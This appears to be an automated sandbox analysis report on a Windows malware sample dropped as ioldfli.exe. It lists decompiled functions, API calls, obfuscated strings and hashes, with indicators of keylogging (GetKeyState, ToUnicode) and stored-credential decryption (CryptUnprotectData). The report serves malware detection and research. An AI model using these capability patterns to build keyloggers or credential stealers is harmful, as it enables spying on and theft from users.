Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeMessageSendUninitialize
String ID: L]
API String ID: 2896919175-1603164074
Opcode ID: a71bf3315524e495bb63ac7db680478635d871b9932b013c5ee158b9648a44a1
Instruction ID: dd00d1d9fa511fdb2abfd92f861b37bc179417f7df103cd37a6f8771cbc5aef0
Opcode Fuzzy Hash: a71bf3315524e495bb63ac7db680478635d871b9932b013c5ee158b9648a44a1
Instruction Fuzzy Hash: D3F0F0B2A00200AAD7201F64ED00B167BB4ABC0316F06003BFF04B62E0D3795802869D

Uniqueness

Uniqueness Score: -1.00%

Function 00403491, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403491() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41f434;
				_t3 = E00403476(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41f434 =  *0x41f434 & 0x00000000;
				return _t3;
			}

0x00403492
0x0040349a
0x004034a1
0x004034a4
0x004034a4
0x004034a6
0x004034ab
0x004034b2
0x004034b8
0x004034bc
0x004034bd
0x004034c5

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000,00000000,00403469,004032BC,00000000), ref: 004034AB
GlobalFree.KERNEL32 ref: 004034B2

Strings

"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" , xrefs: 004034A3

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe"
API String ID: 1100898210-2670306903
Opcode ID: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction ID: 7bfc0464e02b508f879d35a29cae48101a6ab00b4f5f00e512934bdeb57274a8
Opcode Fuzzy Hash: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction Fuzzy Hash: FBE08C3280653097C7221F05AE04B9AB66C6F94B22F068076E8407B3A1C3782C428AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405517, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405517(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405518
0x00405522
0x00405524
0x0040552b
0x00405533
0x00000000
0x00000000
0x00000000
0x00405533
0x00405535
0x0040553a

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Roaming\fatbtifdnumsa,00402C8E,C:\Users\user\AppData\Roaming\fatbtifdnumsa,C:\Users\user\AppData\Roaming\fatbtifdnumsa,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,80000000,00000003), ref: 0040551D
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Roaming\fatbtifdnumsa,00402C8E,C:\Users\user\AppData\Roaming\fatbtifdnumsa,C:\Users\user\AppData\Roaming\fatbtifdnumsa,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,80000000,00000003), ref: 0040552B

Strings

C:\Users\user\AppData\Roaming\fatbtifdnumsa, xrefs: 00405517

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Roaming\fatbtifdnumsa
API String ID: 2709904686-1194416458
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 1341b21386aa9ee456471dc2eb10899dbff8c866770b3e7d35d8712ddbbc4649
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: D9D0C7B2509DB06EE7035614DC04B9F7B89DF17710F1944A2E540A61D5D27C5D418BFD

Uniqueness

Uniqueness Score: -1.00%

Function 00405629, Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405629(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x00405635
0x00405637
0x0040565f
0x00405644
0x00405649
0x00405654
0x00000000
0x00405671
0x0040565d
0x0040565d
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405649
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405657
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 25fbcb832c33ec4964fd827efed06e6d871dcd69bbe6b28132c6debe6a032c6a
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: 02F0A736249D51DBC2025B355C04E6FAA94EF92354B54097AF444F2251D33A98129BBF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ioldfli.exe PID: 7088 Parent PID: 7012 ioldfli.exeCOMMON

Executed Functions

Function 00408FE0, Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

Part of subcall function 00412D73: getenv.MSVCRT ref: 00412ECA

ExitProcess.KERNEL32 ref: 00409134
fopen.MSVCRT ref: 00409237

Part of subcall function 00406E04: MultiByteToWideChar.KERNEL32 ref: 00406E3D
Part of subcall function 00406E04: GetFileAttributesW.KERNEL32 ref: 00406E48
Part of subcall function 00406E04: SetFileAttributesW.KERNEL32 ref: 00406E62
Part of subcall function 00406E04: DeleteFileW.KERNEL32 ref: 00406E6C

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407EF4: Sleep.KERNEL32 ref: 00407EFE

Strings

-m "%s", xrefs: 004090AB
"%s", xrefs: 004091D8
rb+, xrefs: 0040922C
MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 0040915E
%AppData%\Logs\, xrefs: 00409260, 0040927C
MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6, xrefs: 004091AC
M5QV9C5I, xrefs: 004091F0

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesByteCharMultiWide$DeleteExitModuleNameProcessSleepfopengetenv
String ID: "%s"$%AppData%\Logs\$-m "%s"$M5QV9C5I$MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$rb+
API String ID: 3425440891-631238895
Opcode ID: f30e6d8a907dd3353848ff06e92ddf989b88db033d35ce3d89f40ddf47fb2e6e
Instruction ID: cf1332e757baf714fb04fabdc2a14f291af18396ddc48b811abeeedaa7cc8274
Opcode Fuzzy Hash: f30e6d8a907dd3353848ff06e92ddf989b88db033d35ce3d89f40ddf47fb2e6e
Instruction Fuzzy Hash: 4D61C7B04087119AD710BF61D64536EBBE1AF81348F41C86EE4C86B383CBBD8985DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00408AB3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,?,00409119), ref: 00408ACD
GetLastError.KERNEL32 ref: 00408AE0

Strings

oCTboYgC, xrefs: 00408AB6

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: oCTboYgC
API String ID: 1925916568-2829480822
Opcode ID: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction ID: ad06f29d9f34d8de5c37fb948c6dfac14eb5c16bc83129ba4182c5028b8a9bce
Opcode Fuzzy Hash: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction Fuzzy Hash: FED05EB4504701AAD714FF2982453993EE05B40308F84843EDC88C3796E3BD81DD8B1B

Uniqueness

Uniqueness Score: -1.00%

Function 00405959, Relevance: 4.5, APIs: 3, Instructions: 16networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 0040596E
ExitProcess.KERNEL32 ref: 00405980
InitializeCriticalSection.KERNEL32 ref: 0040598C

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CriticalExitInitializeProcessSectionStartup
String ID:
API String ID: 3456047655-0
Opcode ID: a91f1f4c0aaa6fb794749ee6afa9b0a47610891d014f0b90db03d96409f36a12
Instruction ID: 24ad92727fe000e7c60640d94de1f7f21ee868b5df478abe0a14dc0806b9406b
Opcode Fuzzy Hash: a91f1f4c0aaa6fb794749ee6afa9b0a47610891d014f0b90db03d96409f36a12
Instruction Fuzzy Hash: A4D012F0504301AEE710BF51D4057BA7AE8AB41310F41483EA8D086242D77D448D4AA7

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00409953, Relevance: 65.0, APIs: 13, Strings: 24, Instructions: 210keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32 ref: 0040996B
GetKeyState.USER32 ref: 0040997A
GetKeyState.USER32 ref: 00409987
GetKeyState.USER32 ref: 00409994
GetKeyboardState.USER32(00000000), ref: 004099A4
MapVirtualKeyW.USER32(00000000,00000000), ref: 00409B33
ToUnicode.USER32 ref: 00409B60
WideCharToMultiByte.KERNEL32 ref: 00409BAA
GetKeyState.USER32 ref: 00409BB9
MapVirtualKeyW.USER32 ref: 00409C01
GetKeyNameTextW.USER32 ref: 00409C21
GetKeyState.USER32 ref: 00409C38
WideCharToMultiByte.KERNEL32 ref: 00409CA8

Strings

[D00Wg r4nI5], xrefs: 00409AA5
[jRS], xrefs: 00409AC9
[904R5 MY0ddR], xrefs: 00409A64
[adid5d], xrefs: 00409ADB
[D00Wg aWgR], xrefs: 00409AAE
[%s], xrefs: 00409CB4
@, xrefs: 00409B49
[jR5d0], xrefs: 00409A8A
[D00Wg us], xrefs: 00409A3F
[c0dCw], xrefs: 00409AD2
[j6Y], xrefs: 00409AF6
[-Wld], xrefs: 00409AB7
[P50i+%Y], xrefs: 00409C57
[9Cnd us], xrefs: 00409A0B
[cCYw6sCYd], xrefs: 004099DE
[Ctrl+%s], xrefs: 00409BD4
[D00Wg md85], xrefs: 00409A9C
@, xrefs: 00409C12
[PCs6 mWYw], xrefs: 00409AED
[9Cnd aWgR], xrefs: 00409AC0
@, xrefs: 00409C81
[qCV], xrefs: 00409A93
[MY0Wii mWYw], xrefs: 00409A81
[XR6d05], xrefs: 00409AE4

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: State$ByteCharMultiVirtualWide$KeyboardNameTextUnicode
String ID: @$@$@$[%s]$[-Wld]$[904R5 MY0ddR]$[9Cnd aWgR]$[9Cnd us]$[Ctrl+%s]$[D00Wg aWgR]$[D00Wg md85]$[D00Wg r4nI5]$[D00Wg us]$[MY0Wii mWYw]$[P50i+%Y]$[PCs6 mWYw]$[XR6d05]$[adid5d]$[c0dCw]$[cCYw6sCYd]$[j6Y]$[jR5d0]$[jRS]$[qCV]
API String ID: 284565539-287945508
Opcode ID: a7201299a71ac298b4eb1a048ca88babafc008e2bbcecdb455fdf88870e38ce2
Instruction ID: 165817b8f912d8248abf4659c11c564849502453b133aa370f8f06421a69fc02
Opcode Fuzzy Hash: a7201299a71ac298b4eb1a048ca88babafc008e2bbcecdb455fdf88870e38ce2
Instruction Fuzzy Hash: 5D815AB0608351DAD720AF59D4C436FBAF4FB81304F51892FE4D566282C3BD49859F6B

Uniqueness

Uniqueness Score: -1.00%

Function 0041D049, Relevance: 25.0, APIs: 11, Strings: 3, Instructions: 453
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 15%

			E0041D049(signed int __ecx, signed int __edx, intOrPtr* _a4, signed int _a8, char* _a12, char* _a16, signed short _a20, signed char _a24, intOrPtr _a28) {
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v42;
				char _v46;
				char _v50;
				char _v51;
				unsigned short _v52;
				char _v53;
				unsigned short _v54;
				char _v56;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				void _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				char _v92;
				signed short _v94;
				signed short _v96;
				signed short _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed short _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				void* _v164;
				signed int _v168;
				intOrPtr _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				intOrPtr _v208;
				void* _v212;
				signed int _v216;
				signed short _v220;
				signed int _v224;
				signed int _v228;
				void* _v232;
				signed char _t265;
				signed short _t270;
				char* _t282;
				struct _IO_FILE* _t286;
				signed int _t289;
				signed int _t294;
				signed int _t295;
				void* _t304;
				signed int _t316;
				void* _t332;
				signed int _t344;
				signed int _t347;
				signed int _t349;
				signed int _t355;
				int _t358;
				void* _t367;
				signed int _t369;
				signed int _t371;
				int _t376;
				void* _t379;
				char* _t381;
				void* _t392;
				char* _t393;
				unsigned short _t394;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t410;
				signed int _t417;
				unsigned short _t422;
				signed int _t441;
				char* _t447;
				signed int _t448;
				void* _t449;
				signed int _t451;
				char _t452;
				signed int _t453;
				signed int _t454;
				void* _t455;
				char** _t456;

				_t410 = __edx;
				_t397 = __ecx;
				_t456 = _t455 - 0xdc;
				_t449 = _a4;
				_v96 = 0;
				_v94 = 0;
				_v112 = _a20;
				_t265 = _a24;
				if(_t265 < 0) {
					_t265 = 6;
				}
				if(_t449 == 0 ||  *((intOrPtr*)(_t449 + 0x48)) == 0 ||  *((intOrPtr*)(_t449 + 0x14)) != 2 || _a8 == 0) {
					L17:
					_t441 = 0;
					goto L61;
				} else {
					_t451 = _t265 & 0x0000000f;
					_t398 = _t397 & 0xffffff00 | _v112 != 0x00000000;
					if((_t398 & (_t410 & 0xffffff00 | _a16 == 0x00000000)) == 0 && _t451 - 0xa > 0 <= 0 && (_t265 & 0x00000004) == 0 && E00414919(_a8) != 0) {
						asm("repne scasb");
						_t270 =  !(_t398 | 0xffffffff) - 1;
						_v140 = _t270;
						if(_t270 > 0xffff) {
							goto L17;
						}
						_t392 = E0041493A(_t449);
						if( *(_t449 + 0x10) == 0xffff) {
							goto L17;
						}
						_v144 = 0;
						_v164 =  *_t449;
						_v160 =  *((intOrPtr*)(_t449 + 4));
						asm("adc edx, [esp+0x4c]");
						_v124 = _t392 + _v164;
						_v120 = 0;
						_v148 = _v140;
						asm("adc edx, 0x0");
						asm("adc edx, [esp+0x5c]");
						asm("adc edx, [esp+0x74]");
						if(0 > 0) {
							goto L17;
						}
						_v232 =  &_v64;
						_t282 = _a12;
						 *_t456 = _t282;
						L0041F7B4();
						if(_t282 != 0) {
							goto L17;
						}
						E00415FC6(_v36,  &_v94,  &_v96);
						_v232 = 0x424983;
						 *_t456 = _a12;
						_t286 = fopen(??, ??);
						_v168 = _t286;
						if(_t286 == 0) {
							goto L17;
						}
						_v228 = 2;
						_v232 = 0;
						 *_t456 = _t286;
						fseek(??, ??, ??);
						 *_t456 = _v168;
						_t289 = ftell(??);
						_v136 = _t289;
						_v156 = _t289;
						_v152 = _t289 >> 0x1f;
						_v228 = 0;
						_v232 = 0;
						 *_t456 = _v168;
						fseek(??, ??, ??);
						if(_v152 <= 0) {
							__eflags = _v136 - 3;
							if(__eflags <= 0) {
								_t451 = 0;
								__eflags = 0;
							}
							_t393 = _t392 + 0x1e;
							 *_t456 = _t393;
							_t294 = E00414DC1(_t449, _v160, _v164, __eflags);
							__eflags = _t294;
							_t441 = _t294;
							if(_t294 != 0) {
								_t417 =  *(_t449 + 0x24);
								_t295 =  *(_t449 + 0x20);
								__eflags = _t417 | _t295;
								if((_t417 | _t295) != 0) {
									asm("adc edx, 0xffffffff");
									__eflags = _t417 & _v120 | _t295 + 0xffffffff & _v124;
									if((_t417 & _v120 | _t295 + 0xffffffff & _v124) != 0) {
										_v228 = 0x18d6;
										_v232 = 0x424620;
										 *_t456 = "(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0";
										L0041F7E4();
									}
								}
								asm("adc edx, [esp+0x4c]");
								_v164 =  &(_t393[_v164]);
								_v160 = 0;
								memset( &_v64, 0, 0x1e << 0);
								_t456 =  &(_t456[3]);
								_v228 = _v160;
								_v220 = _v140;
								_v224 = _a8;
								_v232 = _v164;
								 *_t456 =  *(_t449 + 0x44);
								_t304 =  *((intOrPtr*)(_t449 + 0x3c))();
								__eflags = _v140 - _t304;
								if(_v140 != _t304) {
									goto L16;
								} else {
									asm("adc edx, [esp+0x4c]");
									_v148 = _v164 + _v148;
									__eflags = _v136 | _v152;
									if((_v136 | _v152) == 0) {
										_t452 = 0;
										__eflags = 0;
										_v164 = 0;
										_v132 = _v136;
										_v116 = _v152;
										L56:
										 *_t456 = _v168;
										fclose(??);
										__eflags = _v116;
										if(_v116 > 0) {
											goto L17;
										}
										__eflags = _v144;
										if(_v144 > 0) {
											goto L17;
										}
										_t422 = _v94;
										__eflags = _t452 - 1;
										_t394 = _v96;
										_t316 = memset( &_v64, 0, 0x1e << 0);
										_t456 =  &(_t456[3]);
										asm("sbb eax, eax");
										_v52 = _t422;
										_v51 = _t422 >> 8;
										_v54 = _t394;
										_v60 =  !_t316 & 0x00000014;
										_v64 = 0x50;
										_v56 = _t452;
										_v63 = 0x4b;
										_v62 = 3;
										_v61 = 4;
										_v53 = _t394 >> 8;
										E00414900( &_v50, _v164);
										E00414900( &_v46, _v132);
										E00414900( &_v42, _v136);
										_v220 = 0x1e;
										_v36 = 0;
										_v35 = 0;
										_v38 = _v140;
										_v228 = _v120;
										_v37 = _v140 >> 8;
										_v224 =  &_v64;
										_v232 = _v124;
										 *_t456 =  *(_t449 + 0x44);
										_t332 =  *((intOrPtr*)(_t449 + 0x3c))();
										__eflags = _t332 - 0x1e;
										if(_t332 != 0x1e) {
											goto L17;
										}
										_v208 = _t452;
										_v188 = _a28;
										_v192 = _v120;
										_v196 = _v124;
										_v224 = _v152;
										_v200 = _v94 & 0x0000ffff;
										_v204 = _v96 & 0x0000ffff;
										_v212 = _v164;
										_v220 = _v132;
										_v216 = _v116;
										_v228 = _v156;
										_v232 = _v112 & 0x0000ffff;
										 *_t456 = _a16;
										_t344 = E00416311(_t449, _v140 & 0x0000ffff, _a8);
										__eflags = _t344;
										if(_t344 == 0) {
											goto L17;
										}
										_t441 = 1;
										_t261 = _t449 + 0x10;
										 *_t261 =  *(_t449 + 0x10) + 1;
										__eflags =  *_t261;
										 *_t449 = _v148;
										 *((intOrPtr*)(_t449 + 4)) = _v144;
										goto L61;
									}
									_v228 = 0x10000;
									_v232 = 1;
									 *_t456 =  *(_t449 + 0x34);
									_t347 =  *((intOrPtr*)(_t449 + 0x28))();
									__eflags = _t347;
									_t396 = _t347;
									if(_t347 == 0) {
										goto L16;
									}
									__eflags = _t451;
									if(_t451 != 0) {
										_v228 = 0x4df40;
										_v232 = 1;
										 *_t456 =  *(_t449 + 0x34);
										_t349 =  *((intOrPtr*)(_t449 + 0x28))();
										__eflags = _t349;
										_t447 = _t349;
										if(_t349 == 0) {
											L52:
											_v232 = _t396;
											 *_t456 =  *(_t449 + 0x34);
											 *((intOrPtr*)(_t449 + 0x2c))();
											goto L16;
										}
										_v228 = 0;
										_v232 = 0xfffffff1;
										 *_t456 = _t451;
										_v92 = _t449;
										_v80 = _v144;
										_v84 = _v148;
										_v76 = 0;
										_v72 = 0;
										_v224 = E0041A99E();
										_v232 = E00416018;
										 *_t456 = _t447;
										_v228 =  &_v92;
										_t355 = E0041A64C();
										__eflags = _t355;
										if(_t355 == 0) {
											_v164 = 0;
											_v148 = _v156;
											_v144 = _v152;
											do {
												__eflags = _v144;
												if(_v144 > 0) {
													L45:
													_t453 = 0x10000;
													L46:
													_v228 = _t453;
													_v232 = 1;
													 *_t456 = _t396;
													_v224 = _v168;
													_t358 = fread(??, ??, ??, ??);
													__eflags = _t453 - _t358;
													if(_t453 != _t358) {
														break;
													}
													_v228 = _t453;
													_v232 = _t396;
													 *_t456 = _v164;
													_t367 = E004171DA();
													_v148 = _v148 - _t453;
													_v164 = _t367;
													asm("sbb [esp+0x5c], edx");
													_v228 = _t453;
													_t369 = _v144 | _v148;
													_v232 = _t396;
													 *_t456 = _t447;
													__eflags = _t369 - 1;
													asm("sbb eax, eax");
													_v224 = _t369 & 0x00000004;
													_t371 = E0041A5F0();
													__eflags = _t371 - 1;
													if(_t371 == 1) {
														_t454 = 1;
														L51:
														_v232 = _t447;
														 *_t456 =  *(_t449 + 0x34);
														 *((intOrPtr*)(_t449 + 0x2c))();
														__eflags = _t454;
														if(_t454 != 0) {
															_t452 = 8;
															_v132 = _v76;
															_v144 = _v80;
															_v116 = _v72;
															_v148 = _v84;
															L54:
															_v232 = _t396;
															 *_t456 =  *(_t449 + 0x34);
															 *((intOrPtr*)(_t449 + 0x2c))();
															goto L56;
														}
														goto L52;
													}
													goto L48;
												}
												__eflags = _v148 - 0xffff;
												if(_v148 > 0xffff) {
													goto L45;
												}
												_t453 = _v148;
												goto L46;
												L48:
												__eflags = _t371;
											} while (_t371 == 0);
											_t454 = 0;
											goto L51;
										}
										_v232 = _t447;
										 *_t456 =  *(_t449 + 0x34);
										 *((intOrPtr*)(_t449 + 0x2c))();
										goto L52;
									}
									_v164 = 0;
									_v132 = _v156;
									_v128 = _v152;
									do {
										__eflags = _v128;
										if(_v128 > 0) {
											L33:
											_t448 = 0x10000;
											L34:
											_v228 = _t448;
											_v232 = 1;
											 *_t456 = _t396;
											_v224 = _v168;
											_t376 = fread(??, ??, ??, ??);
											__eflags = _t448 - _t376;
											if(_t448 != _t376) {
												goto L52;
											}
											_v220 = _t448;
											_v224 = _t396;
											_v232 = _v148;
											_v228 = _v144;
											 *_t456 =  *(_t449 + 0x44);
											_t379 =  *((intOrPtr*)(_t449 + 0x3c))();
											__eflags = _t448 - _t379;
											if(_t448 != _t379) {
												goto L52;
											}
											goto L36;
										}
										__eflags = _v132 - 0x10000;
										if(_v132 > 0x10000) {
											goto L33;
										}
										_t448 = _v132;
										goto L34;
										L36:
										_v228 = _t448;
										_v232 = _t396;
										 *_t456 = _v164;
										_t381 = E004171DA();
										_v132 = _v132 - _t448;
										_v164 = _t381;
										asm("sbb [esp+0x6c], edx");
										_v148 = _v148 + _t448;
										asm("adc [esp+0x5c], edx");
										__eflags = _v128 | _v132;
									} while ((_v128 | _v132) != 0);
									_t452 = 0;
									_v132 = _v136;
									_v116 = _v152;
									goto L54;
								}
							} else {
								 *_t456 = _v168;
								fclose(??);
								L61:
								return _t441;
							}
						}
						L16:
						 *_t456 = _v168;
						fclose(??);
					}
					goto L17;
				}
			}

APIs

_stat.MSVCRT ref: 0041D1A1
fopen.MSVCRT ref: 0041D1DA
fseek.MSVCRT ref: 0041D1FA
ftell.MSVCRT ref: 0041D206
fseek.MSVCRT ref: 0041D231
fclose.MSVCRT ref: 0041D244

Strings

(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0, xrefs: 0041D2B3
P, xrefs: 0041D682
K, xrefs: 0041D698

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fseek$_statfclosefopenftell
String ID: (local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0$K$P
API String ID: 2614710449-1719531008
Opcode ID: 54049fe808654b227bba1578e1d34335061ffaf98f8a99cde8e77accde8bca1c
Instruction ID: 2f0101dfcf5e0978000162e92f0ac79abf139ad8f29847253f420d5a98adee70
Opcode Fuzzy Hash: 54049fe808654b227bba1578e1d34335061ffaf98f8a99cde8e77accde8bca1c
Instruction Fuzzy Hash: 67229FB4A087818FD720DF69C18479BFBE1AF89744F10892EE9D887350E779D885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDD6, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 236stringfileencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00408042: MultiByteToWideChar.KERNEL32 ref: 00408094
Part of subcall function 00408042: _wfopen.MSVCRT ref: 004080AE
Part of subcall function 00408042: fgetpos.MSVCRT ref: 004080F0
Part of subcall function 00408042: fsetpos.MSVCRT ref: 00408126
Part of subcall function 00408042: malloc.MSVCRT ref: 00408132
Part of subcall function 00408042: fread.MSVCRT ref: 00408152
Part of subcall function 00408042: realloc.MSVCRT ref: 00408168
Part of subcall function 00408042: fclose.MSVCRT ref: 00408174

fopen.MSVCRT ref: 0040EE98

Part of subcall function 004074C5: MultiByteToWideChar.KERNEL32 ref: 004074FE
Part of subcall function 004074C5: GetFileAttributesExW.KERNEL32 ref: 00407519

malloc.MSVCRT ref: 0040EEB4
fclose.MSVCRT ref: 0040EEC8
fread.MSVCRT ref: 0040EEE7
fclose.MSVCRT ref: 0040EEEF
CryptUnprotectData.CRYPT32 ref: 0040EFBC
sprintf.MSVCRT ref: 0040F036
strcmp.MSVCRT ref: 0040F046
